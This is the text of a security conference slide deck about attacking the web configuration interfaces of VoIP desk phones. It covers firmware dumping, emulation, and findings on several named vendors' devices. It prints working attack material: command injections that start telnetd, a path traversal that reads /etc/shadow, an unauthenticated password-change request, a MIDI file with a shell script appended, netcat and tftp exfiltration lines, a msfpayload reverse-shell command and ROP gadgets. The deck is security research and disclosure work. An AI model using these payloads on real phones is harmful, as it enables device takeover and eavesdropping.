I’m on Your Phone, Listening – Attacking VoIP Configuration Interfaces

Stephan Huber | Fraunhofer SIT, Germany
Philipp Roskosch | Fraunhofer SIT, Germany
About us

**STEPHAN**

- Security Researcher @Testlab Mobile Security (Fraunhofer SIT)
- Code Analysis Tool development
- IOT Stuff
- Founder of @TeamSIK
About us

PHILIPP

- Security Researcher & Pentester @Secure Software Engineering (Fraunhofer SIT)
- Static Code Analysis
- IoT Vuln Detection Research
- Day 1 Member of @TeamSIK
ACKNOWLEDGEMENTS

MICHAEL TRDEGER

ALEXANDER TRAUD

ANDREAS WITTMANN
Past Projects

DEF CON 26: Tracker Apps
DEF CON 25: Password Manager Apps
DEF CON 24: Anti Virus Apps
BLACKHAT EU 2015: BAAS Security

https://team-sik.org
What’s next?

- Wide distribution
- Complex software
- Readily accessible
The Target Devices
Perfect World

VoIP Phone Network

Internet

Guest Network

Workstation Network
Real World

Publicly reachable!

VoIP Phones

Internet

Network

Guests

Workstations
Agenda

- Background
- IoT Hacking 101
- Findings
  - DOS, Weak Crypto, XSS, CSRF
  - Command Injection
  - Authentication Bypass
  - Memory Corruption
- Recommendations
- Responsible disc. experiences
- Summary
Architecture and Attack Targets

Diagram:
- ARM/MIPS
- Flash
- Bootloader
- Linux OS
  - Kernel
Architecture and Attack Targets

Bootloader
- basic setup
- starts daemons
- ...

Linux OS
- Kernel
  - init uid:0
  - watchdog uid:0
  - sipd uid:0
  - (web)server uid:0
- checks if daemons run
- ...
- loads kernel modules/drivers
- spawn webserver
- launch scripts
- command interface
- ...

ARM/MIPS

FLASH
Architecture and Attack Targets

Bootloader
- basic setup
- starts daemons
- ...

Linux OS
- Kernel
  - init uid:0
  - watchdog uid:0
  - sipd uid:0
  - (web)server uid:0
- checks if daemons run
- ...

- loads kernel modules/drivers
- spawn webserver
- launch scripts
- command interface
- ...

ARM/MIPS

Flash
METHODOLOGY
Abstract Methodology

1. Setup VoIP Phone
2. Attach HTTP Proxy
3. Extract Firmware
4. Emulation
5. Webserver is Running
6. Web Pentesting
7. Static Analysis
8. Dynamic Analysis
Inject dynamic analysis tools

Setup VoIP Phone → Webserver is Running
Attach HTTP Proxy → Web Pentesting
Extract Firmware → Static Analysis
Emulation → Dynamic Analysis
Toolchain

Setup VoIP Phone → Attach HTTP Proxy → Extract Firmware → Emulation

Webserver is Running → Web Pentesting → Static Analysis → Dynamic Analysis

ZAP, Burp Suite

IDA Pro, Ghidra
binwalk, yara
ropper, IDA rop Plugin
gdb, gdbserver, strace
mutiny, boofuzz, …
qemu
FIRMWARE ACCESS
Firmware Access for Software People

- Out of scope is desoldering of chips and complex hardware setup and probes

https://blog.quarkslab.com/flash-dumping-part-i.html

Firmware Access for Software People

- Download the firmware from vendor/manufacturer
- Get image from update traffic
- Get image or files from the device

- Only updates, diffs or patches available
- Encrypted images
- No update server, only manual
HW for Software People we used

- JTAGulator* by Joe Grand (presented at DC 21)
  - Find JTAG and UART interfaces
  - UART pass through (flexible voltage)
- Bus Pirate
  - UART, SPI, JTAG debugging
- μArt UART adapter**
- Raspberry Pi
- ...

* http://www.grandideastudio.com/jtagulator/
** https://uart-adapter.com/
Examples: SPI

![Chip on Device](image1)

<table>
<thead>
<tr>
<th>Bus Pirate</th>
<th>Flash Chip</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CS #1</td>
<td>CS</td>
<td>Chip Select</td>
</tr>
<tr>
<td>MISO #2</td>
<td>DO (IO1)</td>
<td>Master In, Slave Out</td>
</tr>
<tr>
<td>3V3 #3</td>
<td>WP (IO2)</td>
<td>Write Protect</td>
</tr>
<tr>
<td>GND #4</td>
<td>GND</td>
<td>Ground</td>
</tr>
<tr>
<td>MOSI #5</td>
<td>DI (IO0)</td>
<td>Master Out, Slave In</td>
</tr>
<tr>
<td>CLK #6</td>
<td>CLK</td>
<td>SPI Clock</td>
</tr>
<tr>
<td>3V3 #7</td>
<td>HOLD (IO3)</td>
<td>Hold</td>
</tr>
<tr>
<td>3V3 #8</td>
<td>VCC</td>
<td>Supply</td>
</tr>
</tbody>
</table>

Find Datasheet

Winbond W25Q64JV

Connect Bus Pirate
Akuvox R50 VoIP Phone with Bus Pirate connected
Dump it

- **Flashrom** chip detection:
  
  ```
  $ flashrom -p buspirate_spi:dev=/dev/ttyUSB0
  ```

- **Flashrom dump**:
  
  ```
  $ flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -c W25Q64.V -r firmw2.bin
  ```

- **File extraction**:
  
  ```
  $ binwalk -eM firmw.bin
  ```

- **Multiple dumps, output variation**:

<table>
<thead>
<tr>
<th>Filename</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>firmw.bin</td>
<td>3840d51b37fe69e5ac7336fe0a312dd8</td>
</tr>
<tr>
<td>firmw2.bin</td>
<td>403ae93e72b1f16712dd25a7010647d6</td>
</tr>
</tbody>
</table>

  * [https://github.com/flashrom/flashrom](https://github.com/flashrom/flashrom)
Examples: UART

- Fanvil X6 UART connection
- UART bootloader via serial console (minicom, screen, putty, ...):

**Bootloader Menu:**

- help
- info
- reboot
- run [app addr] [entry addr]
- r [addr]
- w [addr] [val]
- d [addr] <len>
- resetcfg
- ...

**Dump flash memory:**

d 0x81000000 7700000
Examples: UART

- UART root shell:
Use Vulnerability

- Command injection starts telnet:

  ```
  ;busybox telnetd &#
  ```

- Root shell without authentication:

  ```
  Connected to 10.148.207.126.
  Escape character is '^['.

  DSPG v1.2.4-rc2 OBiPhone

  OBiPhone login: root
  root@OBiPhone:~# id
  uid=0(root) gid=0(root) groups=0(root)
  ```
Dump with Console

- Tftp client part of busybox and/or used for firmware update
  - Simple tftpserver* required
  - Download - load file onto device:
    ```
    tftp -g -r revshell 10.148.207.102 6969
    ```
  - Upload - get file from device:
    ```
    tftp -p -r /dev/mtdblock0 10.148.207.102 6969
    ```
- Netcat, if part of busybox pipe data to listener:
  - Listener, receiver of data:
    ```
    nc -lp 4444 | tar x
    ```
  - Sender, data source:
    ```
    busybox tar cf - /dev/mtdblock0 | busybox nc 10.148.207.227
    ```
- Other clients, like wget, webform, scp, etc…

*https://github.com/sirMackk/py3tftp
Emulation Approaches

- CPU emulation (e.g. Unicorn)
- User mode emulation
- System mode emulation (third party OS)
- System mode emulation with original file system
- System mode emulation including original kernel modules
- Full system emulation (including unknown peripherals and interfaces)
Emulation Approaches

- CPU emulation (e.g. Unicorn)
- User mode emulation
- **System mode emulation** (third party OS)
- System mode emulation with original file system
- System mode emulation including original kernel modules
- Full system emulation (including unknown peripherals and interfaces)
Firmware Emulation

Emulator (QEMU ARM/MIPS)

Kernel

Linux FS
Firmware Emulation

- UI
- API
- Process
- Firmware FS
- Emulator (QEMU ARM/MIPS)
- Linux FS
- Kernel

chroot environment
Firmware Emulation

- UI
- API
- Process
- Firmware FS
- Linux FS
- Kernel
- Emulator (QEMU ARM/MIPS)

chroot environment

Value spoofing/runtime patching:
- Hook function
- Modify runtime values
- Memory dumps
- …

Analyzing Tools
- gdb
- strace

Dynamic hooks

• Hook function
• Modify runtime values
• Memory dumps
• …
**Example gdb Patch Script**

- **gdb script:**

  ```gdb
  # enable non stop mode
  set target-async on
  set non-stop off
  # attach
  target remote localhost:2345
  # change fork mode
  set follow-fork-mode parent
  show follow-fork-mode
  # first continue
  c
  # first breakpoint at printf b1
  br *0x1a1bc
  # 3rd continue ssl armv7probe
  c
  ...
  # change sighandler (11 segfault)
  set $r0=8
  # continue for break1a
  c
  ...
  ```

  - **gdb mode change**
  - **“Automatic” continue or break**
  - **Change values at runtime**
FINDINGS!
DoS

- Multiple ways of DoSing VoIP phones!
- Limited CPU/ memory resources
- Parsing problems
- Bad TCP/IP Stack implementation
- Memory corruptions, usage of “bad C” functions
- …
DoS – Super Simple I

- Extensive `nmap` scan is too much for Mitel 6865i

```
nmap -p 1-65535 -T4 -A my.voip.phone
```
DoS – Assert Instruction

- Cisco IP Phone 7821

```bash
curl 'http://10.148.207.42/basic'/init.json' -H ...
```
DoS – Assert Instruction

- Cisco IP Phone 7821

```bash
curl 'http://10.148.207.42/basic'/init.json' -H ...
```
DoS – Assert Instruction

- Cisco IP Phone 7821

```bash
curl 'http://10.148.207.42/basic'/init.json' -H ...
```

```
[...
voice-http:app_get:"/ init.json
spr_voip: src/http_get_pal.c:374: http_gen_json:
[...
restart_mgr-connection 18 from spr_voip closed
restart_mgr-processing kill-list for spr_voip
restart_mgr-killing ms
[...
```

Assertion `core_uri[0] == '/'` failed.
DoS – CVE-2017-3731 – OpenSSL

- Web interface provides login via `https://` → OpenSSL
- Malformed packet causes **out-of-bounds read**
- OpenSSL Version 1.0.2 and 1.1.0
- Results in different behavior

- Fanvil X1P, Firmware 2.10.0.6586, **Phone reboots**
- Mitel, Firmware 5.1.0.1024, **Phone reboots**
- ALE, Firmware 1.30.20, **Webserver crashes**
- Samsung, Firmware 01.62, **Webserver restarts**
BAD CRYPTO STUFF!

BAD CRYPTO STUFF!
Bad Crypto

- Config File Export in Akuvox R50
- Credentials are encrypted?

```
[ LOGIN ]
User =admin
Password =D/6SxcRQwsgPwVwdfIIQhg+zh8fqlvfBkNY29asKxw+CwqItFbeLaPG7tx0D

[ WEB_LOGIN ]
User =admin
Password =xzahQYJBxcgPwVwdfJVoYTfCwiyaosyF5BAHQ8zeoVwcdBKPXCx0aQxIaJ
Type =admin
User02 =user
Password02 =8cFhHfcPCJlzUP58xJpGNsHHu1C3xAJHt4ReQmA91DqF0Ayw4c3QEbFhDIo
```
Bad Crypto

- Config File Export in Akuvox R50
- Credentials are encrypted, for real

```bash
$ echo -n "xzahYJBxcpWvdfJV0YTfCwiyaosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ"
  | base64 -d | xxd
00000000: c736 a141 8241 c5c8 0fc1 5c1d 7c95 6861 .6.A.A....\.|.ha
00000010: 37c2 c22c 9aa2 8b32 1790 401d 0f33 95ea 7...2..@..3..
00000020: 15c1 c741 28f5 c2c7 4690 c486 89 ...A(...F....
```
Bad Crypto

- FW Extraction -> Binary investigation

```c
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
}
```
Bad Crypto

- FW Extraction -> Binary investigation

```c
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
}
```
Bad Crypto

- FW Extraction -> Binary investigation

```c
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
    int i;
    int j;
    int k;
    unsigned char tmp;
    if ( !key || !decoded_str || !result || !size )
        return -1;
    for (i = 0; i < size; i++) {
        decoded_str[i] = box_decr((int)result[i]);
    }
    for (j = 0; *key % size > j; j++) {
        printf("j=%d\n",j);
        tmp = *decoded_str;
        for (k = 0; k < size - 1; k++) {
            decoded_str[k] = decoded_str[k + 1];
        }
        decoded_str[size - 1] = tmp;
    }
    return 0;
}
```

- Self-implemented
- Simple substitution, NO AES
Bad Crypto

- FW Extraction -> Binary investigation

```c
int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) {
    int i;
    int j;
    int k;
    unsigned char tmp;
    if ( !key || !decoded_str || !result || !size )
        return -1;
    for (i = 0; i < size; i++) {
        decoded_str[i] = box_decr((int)result[i]);
    }
    for (j = 0; *key % size > j; j++) {
        printf("j=%d\n",j);
        tmp = *decoded_str;
        for (k = 0; k < size - 1; k++) {
            decoded_str[k] = decoded_str[k + 1];
        }
        decoded_str[size - 1] = tmp;
    }
    return 0;
}
```

- Self-implemented
- Simple substitution
- **Hardcoded Key in FW**
Web Based Findings – XSS

- AudioCodes 405HD
- My favorite contact name: `<script>alert("Xss");</script>`
Web Based Findings – XSS

- AudioCodes 405HD
- My favorite contact name: `<script>alert("Xss")</script>`
Web Based Findings – Gigaset Maxwell Basic

- Information leak

[Diagram: Using the Web-Interface → Traffic Analysis]
Web Based Findings – Gigaset Maxwell Basic

- Information leak

Using the Web-Interface ➔ Traffic Analysis

GET http://gigaset.voip/Parameters

return getCodeMess('session', 'admlog');

return getCodeMess('session', 'admerr');
Web Based Findings – Gigaset Maxwell Basic

- Information leak

GET http://gigaset.voip/Parameters

```
return getCodeMess('session', 'admlog');
```

```
return getCodeMess('session', 'admerr');
```
Web Based Findings – Gigaset Maxwell Basic

- Information leak

Using the Web-Interface ➞ Traffic Analysis

ADMIN LOGGED IN?

\_\(ツ\)_/\_ NOT THAT BAD, RIGHT?
function sessInfo()
{
    $token = GetSessionToken();
    $session = new sessionmanager();

    if ($session->getCurrentLoginUser() == USER_ADMIN 
        && $token != $session->getToken())
    {
        return getCodeMess('session', 'admlog');
    }
    else
    {
        return getCodeMess('session', 'sesserr');
    }
}
Web Based Findings – Gigaset Maxwell Basic

Admin

Logging in
Session Token

Generate Session Token
DB
Web Based Findings – Gigaset Maxwell Basic

Admin

Logging in

Session Token

Generate Session Token

DB

Send invalid Session Token
if ($session->getCurrentLoginUser() == USER_ADMIN && $token != $session->getToken())
Web Based Findings – Gigaset Maxwell Basic

- Digging deeper

Firmware Extraction

php file investigation
function POST_State()
{
    $session = new sessionmanager;
    $token = GetSessionToken();
    $userID = $session->verifySession($token);
    if ($userID)
    {
        // Do Something here
    }
}
Web Based Findings – Gigaset Maxwell Basic

- Digging deeper

```php
function POST_State()
{
    $session = new sessionmanager;
    $token = GetSessionToken();
    $userID = $session->verifySession($token);
    if ($userID)
    {
        // Do Something here
    }
}
```
Digging deeper

```php
function POST_State()
{
    $session = new sessionmanager;
    $token = GetSessionToken();
    $userID = $session->verifySession($token);
    if ($userID)
    {
        // Do Something here
    }
}
```
Web Based Findings – Gigaset Maxwell Basic

- Digging even deeper

Firmware Extraction

php file investigation
function POST_Parameters()
{
    $session = new sessionmanager;
    $token = GetSessionToken();
    $userID = $session->verifySession($token);
    $nvm = new settingscontroller();
    $req = array();
    $reqarr = json_decode(file_get_contents('php://input'));
    foreach ($reqarr as $key => $value) {
        $req[$key] = $value;
    }
    $nvm->settingsCheckAccessParams($req);
    if ($nvm->settingsSaveMultiValue($req) == true) {
        // Additional code goes here
    }
}

Web Based Findings – Gigaset Maxwell Basic

- Digging even deeper

Firmware Extraction

php file investigation
function POST_Parameters()
{
    $session = new sessionmanager;
    $token = GetSessionToken();

    $userID = $session->verifySession($token);
    $nvm = new settingscontroller();
    $req = array();
    $reqarr = json_decode(file_get_contents('php://input'));
    foreach ($reqarr as $key => $value)
    {
        $req[$key] = $value;
    }

    $nvm->settingsCheckAccessParams($req);

    if ($nvm->settingsSaveMultiValue($req) == true)
    {
        // Digging even deeper
    }
}

Web Based Findings – Gigaset Maxwell Basic

- Digging even deeper

Firmware Extraction

php file investigation

Returns 0 as attacker does not know current session token

Digging even deeper

Web Based Findings – Gigaset Maxwell Basic

- Digging even deeper

Firmware Extraction

php file investigation

Returns 0 as attacker does not know current session token
Web Based Findings – Gigaset Maxwell Basic

- Digging even deeper

```php
function POST_Parameters()
{
    $session = new sessionmanager;
    $token = GetSessionToken();
    $userID = $session->verifySession($token);
    $nvm = new settingscontroller();
    $req = array();
    $reqarr = json_decode(file_get_contents('php://input'));
    foreach ($reqarr as $key => $value)
    {
        $req[$key] = $value;
    }
    $nvm->settingsCheckAccessParams($req);
    if ($nvm->settingsSaveMultiValue($req) == true)
    {
        // Code to handle successful save
    }
}
```

Returns 0 as attacker does not know current session token

- Change it anyway

Firmware Extraction

- php file investigation

NDT OK!
Path Traversal

GET http://voip.phone/cmd.bin?file=defcon.txt

Send content of: defcon.txt
Path Traversal

GET http://voip.phone/cmd.bin?file=defcon.txt

Send content of: defcon.txt

GET http://voip.phone/cmd.bin?file=../../../../etc/passwd

Send content of: ../../../../../etc/passwd

Send content of: /etc/passwd
Path Traversal - Yealink T41S

POST http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis&q=getinfo&Rajax=0.5174477889842097 HTTP/1.1
Proxy-Connection: keep-alive
Content-Length: 53
Origin: http://10.148.207.216
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.24 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-gb
Cookie: JSESSIONID=3b73d6390697f50
Host: 10.148.207.216

file=../../../../../../../etc/shadow&token=42423833540d4e990
Path Traversal - Yealink T41S

Response:

/html>
/body>
/div id="_RES_INFO_">
root:$1$.jKlhz1B$/Nmgj2klrsZk3cYc1BLUR/:11876:0:99999:7:::
toor:$1$5sa7xxqo$eV4t7Nb1tPqjOWT1s3/ks1:11876:0:99999:7:::
</div>
</body>
</html>

- Instead of network diagnostics: /etc/shadow
Ringtone Code Injection

- Ringtone file upload provides an attack surface for uploading “code” to execute
- **Path traversal vulnerability** would allow to write to arbitrary folder and overwrite a privileged script

Filename: `../../etc/init.d/OperaEnv.sh`
Ringtone Code Injection

- Ringtone file upload provides an attack surface for uploading “code” to execute
- **Path traversal vulnerability** would allow to write to arbitrary folder and overwrite a privileged script

Filename: `../../../etc/init.d/OperaEnv.sh`

- Problem, script is **not** an audio file, how to bypass content verification?
Ringtone Code Injection

- Software verifies file, but **only header**
Ringtone Code Injection

- Software verifies file, but **only header**

```
MThd..........MTrk...3...
...2009.11.01...
.......@.e...T.!.......Q......./.
```

MIDI file header

```
#!/bin/sh
echo "New Script for changing password!"
echo "Sourcing Opera Environment..."
```

script code

..., invalid command
Ringtone Code Injection

- Software verifies file, but **only header**

```
MThd..........MTrk...3...
...2009.11.01...
.......@.e...T.!.......Q......./

#!/bin/sh
echo "New Script for changing password!"
echo "Sourcing Opera Environment..."
...
```

- Whole file will be interpreted as script, after passing header verification!
BACKDOOR ?!
Portscan of Akuvox device:

Starting Nmap 7.01 ( https://nmap.org ) at 2019-07-26 11:20 CEST
Initiating Ping Scan at 11:20Scanning 10.148.207.221 [2 ports]
... 
Host is up (0.014s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
23/tcp  open  telnet  Telnet running
80/tcp  open  http
443/tcp open  https
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds
huber@pc-huberlap:$
Problem!

- The running telnet service can **not** be turned off!
- The firmware image is not public available,
Problem!

- The running telnet service can not be turned off!
- The firmware image is not public available, but **we dumped it**

```
huber@pc-huber:/akuvox/squashfs-root/etc$ cat shadow
root:pVjvZpycBR0mI:10957:0:99999:7:::
admin:UCX0aARNR9jK6:10957:0:99999:7:::
```

- Hashes are **DES crypt** protected ➔ max pass length = 8
- On my old GPU it took around 30 days to crack it
COMMAND INJECTION
Command Injection

<table>
<thead>
<tr>
<th>Web Interface</th>
<th>X</th>
</tr>
</thead>
<tbody>
<tr>
<td>IP:</td>
<td></td>
</tr>
<tr>
<td>Ping</td>
<td></td>
</tr>
</tbody>
</table>
Command Injection

Web Interface

<table>
<thead>
<tr>
<th>IP: 127.0.0.1</th>
<th>POST: Ip=127.0.0.1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ping</td>
<td></td>
</tr>
</tbody>
</table>

Webserver

- Server app
- CGI script

127.0.0.1

```
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
...
```
Command Injection

Web Interface

| IP: 127.0.0.1 | POST: Ip=127.0.0.1 |

Ping

Webserver
- Server app
- CGI script

... sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
...

system("ping 127.0.0.1 -c 4");
// do four pings
Command Injection

Web Interface

IP: 127.0.0.1 –c 0; ls ;#

Ping

127.0.0.1 –c 0; ls ;#

ping counter
start comment
exec ls
Command Injection

POST:
Ip=127.0.0.1 -c 0; ls ;#

127.0.0.1 -c 0; ls ;#

Webserver
- Server app
- CGI script

Web Interface

127.0.0.1 -c 0; ls ;#

sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
...

...
Command Injection

Web Interface

IP: 127.0.0.1

POST:
Ip=127.0.0.1

Webserver

- Server app
- CGI script

127.0.0.1

```
sprintf(buffer, "ping %s -c 4", ip);
system(buffer);
...
```

```
system("ping 127.0.0.1 -c 0; ls ;# -c 4");
// do zero ping, exec ls command, comment
```
Command Injection

- Command injection in AudioCodes 405HD device:

```bash
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) ...' \
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' \
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' \
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' -H 'Connection: keep-alive' -H '' \
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
```

idea, start telnetd
Command Injection

- Command injection in AudioCodes 405HD device:

```bash
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) ...' 
-H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' 
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' 
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' -H 'Connection: keep-alive' -H '' 
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
```

Attacker does not know credentials

idea, start telnetd
Command injection in AudioCodes 405HD device:

```
curl -i -s -k -X 'GET' \
-\H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) \
-\H 'Accept: */*' -\H 'Accept-Language: en-GB,en;q=0.5' \
-\H 'Referer: http://10.148.207.249/mainform.cgi/Reality.htm' \
-\H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' -\H 'Connection: keep-alive' -\H 'http://10.148.207.249/command.?
```

- ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd

- Can we bypass the authorization?

Attacker does not know credentials

idea, start telnetd
Command Injection

- Command injection in AudioCodes 405HD device:

```
curl -i -s -k -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) ...' \
-H 'Accept: */*' -H 'Accept-Language: en-GB, en; q=0.5' \
-H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' \
-H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' -H 'Connection: keep-alive' -H '' \
'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd'
```

- Can we bypass the authorization? NOPE!
Exploit for Auth Bypass

- But look at "Change password" request:

```bash
curl -i -s -k -X
 'POST'
 \n -H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
 Gecko/20100101 Firefox/39.0'
 -H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
 -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
```
Exploit for Auth Bypass

- But look at "Change password" request:

```bash
curl -i -s -k -X
 'POST'
 \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0)
Gecko/20100101 Firefox/39.0'
-H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
-H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
-H 'Referer:http://10.148.207.249/mainform.cgi/System_Auth.htm' -H '' \
--data-binary $'NADMIN=admin&NPASS=pass&NCPASS=pass' \
 'http://10.148.207.249/mainform.cgi/System_Auth.htm'
```

- **NO Authorization** header!
- **NO old password parameter!**
Exploit for Auth Bypass

- But look at "Change password" request:

```bash
curl -i -s -k -X
'POST'

-H 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0'
-H 'Pragma: no-cache' -H 'Cache-Control: no-cache'
-H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 33'
--data-binary "$NADMIN=admin&NPASS=pass&NCPASS=pass"
'http://10.148.207.249/mainform.cgi/System_Auth.htm'
```

- NO Authorization header!
- NO old password parameter!
Inside Outside

Internal attacker -> entry point

csrf

Open to internet -> Shodan

Default creds

End technical part

Shit Happens !
Request changing password on Htek - UC902:

curl -i -s -k -X 'GET'
... -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H ... -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswordaaabaacaaadaaaeaaaafaagaaahaaaiaaaajaaakaalaaamaanaaaaoaapaaaqaaaraaasaaaataaaauaaaaavaaaawaaaxaaayaaaazabbaabcbcaabdaabeaabga'
Stack Based Buffer Overflow (MIPS)

- Request changing password on Htek - UC902:

```bash
curl -i -s -k -X 'GET'
... -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H ... -H ''
'http://192.168.2.107/hl_web/cgi_command=setSecurityPasswordaaaabaaacaaadaaaeeaaaaaaafaaagaaahaaaiaaajaaakaalaaamaaanaaaaoaapaaaqaaaaraaaasaatataaauaaaavaaaaaawaaaaxaayaaazaaaabbaabcaabdaabebabfaabg'
```

- Internal code:

```c
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
    char targetBuffer[32];
    ...
    memset(targetBuffer, 0, 0x20);
    iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
    if (iVar1 == 0) {
        CopyToCommandStr(targetBuffer, cgi_param + 0x14);
    }
    ...
```
Stack Based Buffer Overflow (MIPS)

- Request changing password on Htek - UC902:

```bash
curl -i -s -k -X 'GET'
... -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H ...
'http://192.168.2.107/\hl_web/cgi\_command=setSecurityPasswortaaaabaaacaadaaaaeaaafaagaaahaaaaiaaajaaakaalaaamaanaaaaoaaapaaqaararaasaataaaauaavaaaawaaxaaayaazazzazaaabcaabdaabeaabfaabg'```

- Internal code:

```c
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
    char targetBuffer [32];
    ...
    memset(targetBuffer,0,0x20);
    iVar1 = strncmp(cgi_param, "/hl_web/cgi\_command=", 0x14);
    if (iVar1 == 0) {
        CopyToCommandStr(targetBuffer, cgi_param + 0x14);
        ...
    }
}
```
Stack Based Buffer Overflow (MIPS)

handle_cgi_command(undefi ned4 param_1, undefi ned4 param_2, undefi ned4 param_3, char *cgi_param) {
    char targetBuffer[32];
    ...
    memset(targetBuffer, 0, 0x20);
    iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
    if (iVar1 == 0) {
        CopyToCommandStr(targetBuffer, cgi_param + 0x14);
        ...
    }
}

... void CopyToCommandStr(char *target, char *input) {
    char *local_target = target;
    char *local_input = input;

    while (**local_input != '(' && (**local_input != 0)) {
        *local_target = *local_input;
        local_target = local_target + 1;
        local_input = local_input + 1;
    }
    return;
}
Stack Based Buffer Overflow (MIPS)

```c
handle_cgi_command(undefined4 param_1, undefined4 param_2, undefined4 param_3, char *cgi_param) {
    char targetBuffer [32];
    ... memset(targetBuffer,0,0x20);
    iVar1 = strncmp(cgi_param, "/hl_web/cgi_command=", 0x14);
    if (iVar1 == 0) {
        CopyToCommandStr(targetBuffer, cgi_param + 0x14);
    ...

    void CopyToCommandStr(char *target, char *input) {
        char *local_target = target;
        char *local_input = input;
        while ((**local_input != '(' && (**local_input != 0))) {
            *local_target = *local_input;
            local_target = local_target + 1;
            local_input = local_input + 1;
        }
        return;
    }

    stop criteria filling the buffer
```
Control $ra

--- registers ---

$s8 : 0x61616265 ("aabe")
$pc : 0x0080a9b4 -> 0x27bd00a8
$sp : 0x7cfebb498 -> 0x00d89c48 -> 0x2a2a2a2a ("****")

$ra : 0x61616266 ("aabf")
$gp : 0x00e42900 -> 0x00000000

--- code:mips:MIPS32 ---

-> 0x80a9b4
  addiu sp, sp, 168
  jr ra
  nop

gef> x/60wx $sp
0x7cfebb498: 0x00d89c48 0x7cfebb4b4 0x00000000 0x00000000

gef>

gef>

gef>

--- stack ---

0x7cfebb528: 0x61616265 0x61616266 0x61616267 0xffffffff

gef>

gef>

gef>

gef> $s8 $ra

we control

jump to (return) address in register (we control)
Exploit Development, Challenges

- How to bypass NX protection, ASLR, …?
Exploit Development, Challenges

- How to bypass NX protection, ASLR, …?

  ```
  gef> checksec
  [+] checksec for '/tmp/gef/265//bin/voip'
  Canary : No
  NX     : No
  PIE    : No
  Fortify: No
  RelRO  : No
  ```

- Generate shell code and put it onto the stack e.g.

  ```
  msfpayload linux/mipsbe/shell_reverse_tcp lport=4444 lhost=192.168.2.102
  ```
Exploit Development, Challenges

- How to find the stack address with our shell code?

```
0x7ff22000 0x7ff37000 0x00000000 rwx [stack]
```

vs.

```
0x7fc58000 0x7fc6d000 0x00000000 rwx [stack]
```
How to find the stack address with our shell code?

```
0x7ff22000 0x7ff37000 0x00000000 rwx [stack]  
```

```
0x7fc58000 0x7fc6d000 0x00000000 rwx [stack]  
```

Find gadgets in \texttt{libc} to load stack address into a register:

\begin{center}
\begin{tabular}{ll}
\hline
\texttt{x/4i 0x2AE3EEE8} & \\
\texttt{0x2ae3eee8 <wcwidth+40>:} & \texttt{addiu a0,sp,32} \\
\texttt{0x2ae3eeec <wcwidth+44>:} & \texttt{lw ra,28(sp)} \\
\texttt{0x2ae3eef0 <wcwidth+48>:} & \texttt{jr ra} \\
\texttt{0x2ae3eef4 <wcwidth+52>:} & \texttt{addiu sp,sp,32} \\
\end{tabular}
\end{center}

```
"write \ " stack pointer + 32 to register $a0
```

```
jump to next gadget
```

```
move $a0 to $t9
```

```
jump to value in $t9 = $a0 = $sp + 32
```

\begin{center}
\begin{tabular}{ll}
\hline
\texttt{x/4i 0x2AE5B9BC} & \\
\texttt{0x2ae5b9bc <xdr_free+12>:} & \texttt{move t9,a0} \\
\texttt{0x2ae5b9c0 <xdr_free+16>:} & \texttt{sw v0,24(sp)} \\
\texttt{0x2ae5b9c4 <xdr_free+20>:} & \texttt{jalr t9} \\
\texttt{0x2ae5b9c8 <xdr_free+24>:} & \texttt{addiu a0,sp,24} \\
